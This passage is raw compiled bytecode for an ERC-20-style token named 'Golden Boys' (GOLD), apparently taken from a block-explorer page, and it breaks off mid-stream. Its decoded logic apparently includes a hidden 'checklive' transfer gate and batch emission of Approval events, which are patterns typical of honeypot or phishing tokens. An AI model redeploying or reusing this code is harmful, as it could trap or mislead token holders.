497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818362000378919062000c50565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003e9826200039e565b810181811067ffffffffffffffff821117156200040b576200040a620003af565b5b80604052505050565b60006200042062000380565b90506200042e8282620003de565b919050565b600067ffffffffffffffff821115620004515762000450620003af565b5b6200045c826200039e565b9050602081019050919050565b60005b83811015620004895780820151818401526020810190506200046c565b60008484015250505050565b6000620004ac620004a68462000433565b62000414565b905082815260208101848484011115620004cb57620004ca62000399565b5b620004d884828562000469565b509392505050565b600082601f830112620004f857620004f762000394565b5b81516200050a84826020860162000495565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005408262000513565b9050919050565b620005528162000533565b81146200055e57600080fd5b50565b600081519050620005728162000547565b92915050565b6000819050919050565b6200058d8162000578565b81146200059957600080fd5b50565b600081519050620005ad8162000582565b92915050565b60008060008060808587031215620005d057620005cf6200038a565b5b600085015167ffffffffffffffff811115620005f157620005f06200038f565b5b620005ff87828801620004e0565b945050602085015167ffffffffffffffff8111156200062357620006226200038f565b5b6200063187828801620004e0565b9350506040620006448782880162000561565b925050606062000657878288016200059c565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006b657607f821691505b602082108103620006cc57620006cb6200066e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f7565b620007428683620006f7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007856200077f620007798462000578565b6200075a565b62000578565b9050919050565b6000819050919050565b620007a18362000764565b620007b9620007b0826200078c565b84845462000704565b825550505050565b600090565b620007d0620007c1565b620007dd81848462000796565b505050565b5b818110156200080557620007f9600082620007c6565b600181019050620007e3565b5050565b601f82111562000854576200081e81620006d2565b6200082984620006e7565b8101602085101562000839578190505b620008516200084885620006e7565b830182620007e2565b50505b505050565b600082821c905092915050565b6000620008796000198460080262000859565b1980831691505092915050565b600062000894838362000866565b9150826002028217905092915050565b620008af8262000663565b67ffffffffffffffff811115620008cb57620008ca620003af565b5b620008d782546200069d565b620008e482828562000809565b600060209050601f8311600181146200091c576000841562000907578287015190505b62000913858262000886565b86555062000983565b601f1984166200092c86620006d2565b60005b8281101562000956578489015182556001820191506020850194506020810190506200092f565b8683101562000976578489015162000972601f89168262000866565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a1957808604811115620009f157620009f06200098b565b5b600185161562000a015780820291505b808102905062000a1185620009ba565b9450620009d1565b94509492505050565b60008262000a34576001905062000b07565b8162000a44576000905062000b07565b816001811462000a5d576002811462000a685762000a9e565b600191505062000b07565b60ff84111562000a7d5762000a7c6200098b565b5b8360020a91508482111562000a975762000a966200098b565b5b5062000b07565b5060208310610133831016604e8410600b841016171562000ad85782820a90508381111562000ad25762000ad16200098b565b5b62000b07565b62000ae78484846001620009c7565b9250905081840481111562000b015762000b006200098b565b5b81810290505b9392505050565b600060ff82169050919050565b600062000b288262000578565b915062000b358362000b0e565b925062000b647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a22565b905092915050565b600062000b798262000578565b915062000b868362000578565b925082820262000b968162000578565b9150828204841483151762000bb05762000baf6200098b565b5b5092915050565b62000bc28162000578565b82525050565b600060208201905062000bdf600083018462000bb7565b92915050565b62000bf08162000533565b82525050565b60008115159050919050565b62000c0d8162000bf6565b82525050565b600060608201905062000c2a600083018662000be5565b62000c39602083018562000bb7565b62000c48604083018462000c02565b949350505050565b600062000c5d8262000578565b915062000c6a8362000578565b925082820190508082111562000c855762000c846200098b565b5b92915050565b6120e58062000c9b6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a00be4a111610066578063a00be4a1146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b41146102635780639ebbaef71461028157610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806350718f65146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631ada26a014610171575b600080fd5b61010d61035d565b60405161011a91906114ff565b60405180910390f35b61013d600480360381019061013891906115c9565b6103ef565b60405161014a9190611624565b60405180910390f35b61015b610406565b604051610168919061164e565b60405180910390f35b61018b60048036038101906101869190611669565b610410565b005b6101a760048036038101906101a29190611696565b6104fd565b6040516101b49190611624565b60405180910390f35b6101c56105c8565b6040516101d29190611705565b60405180910390f35b6101f560048036038101906101f09190611720565b6105df565b604051610202919061175c565b60405180910390f35b61022560048036038101906102209190611669565b61066e565b604051610232919061164e565b60405180910390f35b6102436106b7565b005b61024d610738565b60405161025a919061175c565b60405180910390f35b61026b610761565b60405161027891906114ff565b60405180910390f35b61029b600480360381019061029691906118bf565b6107f3565b6040516102a89190611624565b60405180910390f35b6102cb60048036038101906102c69190611669565b610989565b6040516102d8919061164e565b60405180910390f35b6102fb60048036038101906102f691906115c9565b6109d5565b6040516103089190611624565b60405180910390f35b61032b6004803603810190610326919061191b565b6109ec565b604051610338919061164e565b60405180910390f35b61035b60048036038101906103569190611669565b610a73565b005b60606005805461036c9061198a565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061198a565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006103fc338484610b63565b6001905092915050565b6000600854905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361047f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047690611a07565b60405180910390fd5b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960008154809291906104f590611a56565b919050555050565b600061050a848484610d2c565b6105bd84336105b88560405180606001604052806028815260200161208860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100e9092919063ffffffff16565b610b63565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600a805490508210610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611aea565b60405180910390fd5b600a828154811061063c5761063b611b0a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106d6610738565b73ffffffffffffffffffffffffffffffffffffffff161461072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611b85565b60405180910390fd5b6107366000611063565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107709061198a565b80601f016020809104026020016040519081016040528092919081815260200182805461079c9061198a565b80156107e95780601f106107be576101008083540402835291602001916107e9565b820191906000526020600020905b8154815290600101906020018083116107cc57829003601f168201915b5050505050905090565b600080339050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90611bf1565b60405180910390fd5b6000628e677e90506000600b60036007846108839190611c40565b61088d9190611c71565b6108979190611c40565b90506000600e6002846108aa9190611c40565b6108b49190611c71565b826108bf9190611cb3565b90506000805b88518110156109795780826108da9190611cb3565b9150610901868a83815181106108f3576108f2611b0a565b5b60200260200101518a611127565b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258a60405161095e919061164e565b60405180910390a3808061097190611a56565b9150506108c5565b5060019550505050505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b60006109e2338484610d2c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610a92610738565b73ffffffffffffffffffffffffffffffffffffffff1614610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90611b85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4e90611d59565b60405180910390fd5b610b6081611063565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611deb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3890611e7d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1f919061164e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9290611f0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0190611fa1565b60405180910390fd5b6000610e1584610989565b82610e209190611fc1565b11610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5790612041565b60405180910390fd5b610ecc8160405180606001604052806026815260200161206260269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100e9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611001919061164e565b60405180910390a3505050565b6000838311158290611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d91906114ff565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f90611bf1565b60405180910390fd5b6000628e677e90506000600b60036007846112339190611c40565b61123d9190611c71565b6112479190611c40565b90506000600e60028461125a9190611c40565b6112649190611c71565b8261126f9190611cb3565b9050600460008154811061128657611285611b0a565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361139d5783600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825461133c9190611fc1565b92505081905550848461134f9190611cb3565b935083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611450565b83600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282546113ef9190611fc1565b9250508190555083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282546114489190611cb3565b925050819055505b50505050505050565b600081836114679190611cb3565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114a957808201518184015260208101905061148e565b60008484015250505050565b6000601f19601f8301169050919050565b60006114d18261146f565b6114db818561147a565b93506114eb81856020860161148b565b6114f4816114b5565b840191505092915050565b6000602082019050818103600083015261151981846114c6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061156082611535565b9050919050565b61157081611555565b811461157b57600080fd5b50565b60008135905061158d81611567565b92915050565b6000819050919050565b6115a681611593565b81146115b157600080fd5b50565b6000813590506115c38161159d565b92915050565b600080604083850312156115e0576115df61152b565b5b60006115ee8582860161157e565b92505060206115ff858286016115b4565b9150509250929050565b60008115159050919050565b61161e81611609565b82525050565b60006020820190506116396000830184611615565b92915050565b61164881611593565b82525050565b6000602082019050611663600083018461163f565b92915050565b60006020828403121561167f5761167e61152b565b5b600061168d8482850161157e565b91505092915050565b6000806000606084860312156116af576116ae61152b565b5b60006116bd8682870161157e565b93505060206116ce8682870161157e565b92505060406116df868287016115b4565b9150509250925092565b600060ff82169050919050565b6116ff816116e9565b82525050565b600060208201905061171a60008301846116f6565b92915050565b6000602082840312156117365761173561152b565b5b6000611744848285016115b4565b91505092915050565b61175681611555565b82525050565b6000602082019050611771600083018461174d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6117b4826114b5565b810181811067ffffffffffffffff821117156117d3576117d261177c565b5b80604052505050565b60006117e6611521565b90506117f282826117ab565b919050565b600067ffffffffffffffff8211156118125761181161177c565b5b602082029050602081019050919050565b600080fd5b600061183b611836846117f7565b6117dc565b9050808382526020820190506020840283018581111561185e5761185d611823565b5b835b818110156118875780611873888261157e565b845260208401935050602081019050611860565b5050509392505050565b600082601f8301126118a6576118a5611777565b5b81356118b6848260208601611828565b91505092915050565b600080604083850312156118d6576118d561152b565b5b600083013567ffffffffffffffff8111156118f4576118f3611530565b5b61190085828601611891565b9250506020611911858286016115b4565b9150509250929050565b600080604083850312156119325761193161152b565b5b60006119408582860161157e565b92505060206119518582860161157e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119a257607f821691505b6020821081036119b5576119b461195b565b5b50919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b60006119f1600f8361147a565b91506119fc826119bb565b602082019050919050565b60006020820190508181036000830152611a20816119e4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a6182611593565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a9357611a92611a27565b5b600182019050919050565b7f496e646578206f7574206f6620626f756e647300000000000000000000000000600082015250565b6000611ad460138361147a565b9150611adf82611a9e565b602082019050919050565b60006020820190508181036000830152611b0381611ac7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611b6f60208361147a565b9150611b7a82611b39565b602082019050919050565b60006020820190508181036000830152611b9e81611b62565b9050919050565b7f696e76616c696420616464726573730000000000000000000000000000000000600082015250565b6000611bdb600f8361147a565b9150611be682611ba5565b602082019050919050565b60006020820190508181036000830152611c0a81611bce565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611c4b82611593565b9150611c5683611593565b925082611c6657611c65611c11565b5b828204905092915050565b6000611c7c82611593565b9150611c8783611593565b9250828202611c9581611593565b91508282048414831517611cac57611cab611a27565b5b5092915050565b6000611cbe82611593565b9150611cc983611593565b9250828201905080821115611ce157611ce0611a27565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d4360268361147a565b9150611d4e82611ce7565b604082019050919050565b60006020820190508181036000830152611d7281611d36565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611dd560248361147a565b9150611de082611d79565b604082019050919050565b60006020820190508181036000830152611e0481611dc8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e6760228361147a565b9150611e7282611e0b565b604082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ef960258361147a565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f8b60238361147a565b9150611f9682611f2f565b604082019050919050565b60006020820190508181036000830152611fba81611f7e565b9050919050565b6000611fcc82611593565b9150611fd783611593565b9250828203905081811115611fef57611fee611a27565b5b92915050565b7f636865636b6c6976650000000000000000000000000000000000000000000000600082015250565b600061202b60098361147a565b915061203682611ff5565b602082019050919050565b6000602082019050818103600083015261205a8161201e565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc0ca43a4114dcabddaf3b8af06cd0cae8db731a3f61b7227134dd9d978f727764736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000c85607c835de26ac4f48cfda75ae69821443c0240000000000000000000000000000000000000000000000000000000077359400000000000000000000000000000000000000000000000000000000000000000b476f6c64656e20426f79730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004474f4c4400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a00be4a111610066578063a00be4a1146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b41146102635780639ebbaef71461028157610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806350718f65146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631ada26a014610171575b600080fd5b61010d61035d565b60405161011a91906114ff565b60405180910390f35b61013d600480360381019061013891906115c9565b6103ef565b60405161014a9190611624565b60405180910390f35b61015b610406565b604051610168919061164e565b60405180910390f35b61018b60048036038101906101869190611669565b610410565b005b6101a760048036038101906101a29190611696565b6104fd565b6040516101b49190611624565b60405180910390f35b6101c56105c8565b6040516101d29190611705565b60405180910390f35b6101f560048036038101906101f09190611720565b6105df565b604051610202919061175c565b60405180910390f35b61022560048036038101906102209190611669565b61066e565b604051610232919061164e565b60405180910390f35b6102436106b7565b005b61024d610738565b60405161025a919061175c565b60405180910390f35b61026b610761565b60405161027891906114ff565b60405180910390f35b61029b600480360381019061029691906118bf565b6107f3565b6040516102a89190611624565b60405180910390f35b6102cb60048036038101906102c69190611669565b610989565b6040516102d8919061164e565b60405180910390f35b6102fb60048036038101906102f691906115c9565b6109d5565b6040516103089190611624565b60405180910390f35b61032b6004803603810190610326919061191b565b6109ec565b604051610338919061164e565b60405180910390f35b61035b60048036038101906103569190611669565b610a73565b005b60606005805461036c9061198a565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061198a565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006103fc338484610b63565b6001905092915050565b6000600854905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361047f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047690611a07565b60405180910390fd5b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960008154809291906104f590611a56565b919050555050565b600061050a848484610d2c565b6105bd84336105b88560405180606001604052806028815260200161208860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100e9092919063ffffffff16565b610b63565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600a805490508210610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611aea565b60405180910390fd5b600a828154811061063c5761063b611b0a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106d6610738565b73ffffffffffffffffffffffffffffffffffffffff161461072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611b85565b60405180910390fd5b6107366000611063565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107709061198a565b80601f016020809104026020016040519081016040528092919081815260200182805461079c9061198a565b80156107e95780601f106107be576101008083540402835291602001916107e9565b820191906000526020600020905b8154815290600101906020018083116107cc57829003601f168201915b5050505050905090565b600080339050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90611bf1565b60405180910390fd5b6000628e677e90506000600b60036007846108839190611c40565b61088d9190611c71565b6108979190611c40565b90506000600e6002846108aa9190611c40565b6108b49190611c71565b826108bf9190611cb3565b90506000805b88518110156109795780826108da9190611cb3565b9150610901868a83815181106108f3576108f2611b0a565b5b60200260200101518a611127565b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258a60405161095e919061164e565b60405180910390a3808061097190611a56565b9150506108c5565b5060019550505050505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b60006109e2338484610d2c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610a92610738565b73ffffffffffffffffffffffffffffffffffffffff1614610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90611b85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4e90611d59565b60405180910390fd5b610b6081611063565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611deb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3890611e7d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1f919061164e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9290611f0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0190611fa1565b60405180910390fd5b6000610e1584610989565b82610e209190611fc1565b11610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5790612041565b60405180910390fd5b610ecc8160405180606001604052806026815260200161206260269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100e9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611001919061164e565b60405180910390a3505050565b6000838311158290611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d91906114ff565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f90611bf1565b60405180910390fd5b6000628e677e90506000600b60036007846112339190611c40565b61123d9190611c71565b6112479190611c40565b90506000600e60028461125a9190611c40565b6112649190611c71565b8261126f9190611cb3565b9050600460008154811061128657611285611b0a565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361139d5783600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825461133c9190611fc1565b92505081905550848461134f9190611cb3565b935083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611450565b83600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282546113ef9190611fc1565b9250508190555083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282546114489190611cb3565b925050819055505b50505050505050565b600081836114679190611cb3565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114a957808201518184015260208101905061148e565b60008484015250505050565b6000601f19601f8301169050919050565b60006114d18261146f565b6114db818561147a565b93506114eb81856020860161148b565b6114f4816114b5565b840191505092915050565b6000602082019050818103600083015261151981846114c6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061156082611535565b9050919050565b61157081611555565b811461157b57600080fd5b50565b60008135905061158d81611567565b92915050565b6000819050919050565b6115a681611593565b81146115b157600080fd5b50565b6000813590506115c38161159d565b92915050565b600080604083850312156115e0576115df61152b565b5b60006115ee8582860161157e565b92505060206115ff858286016115b4565b9150509250929050565b60008115159050919050565b61161e81611609565b82525050565b60006020820190506116396000830184611615565b92915050565b61164881611593565b82525050565b6000602082019050611663600083018461163f565b92915050565b60006020828403121561167f5761167e61152b565b5b600061168d8482850161157e565b91505092915050565b6000806000606084860312156116af576116ae61152b565b5b60006116bd8682870161157e565b93505060206116ce8682870161157e565b92505060406116df868287016115b4565b9150509250925092565b600060ff82169050919050565b6116ff816116e9565b82525050565b600060208201905061171a60008301846116f6565b92915050565b6000602082840312156117365761173561152b565b5b6000611744848285016115b4565b91505092915050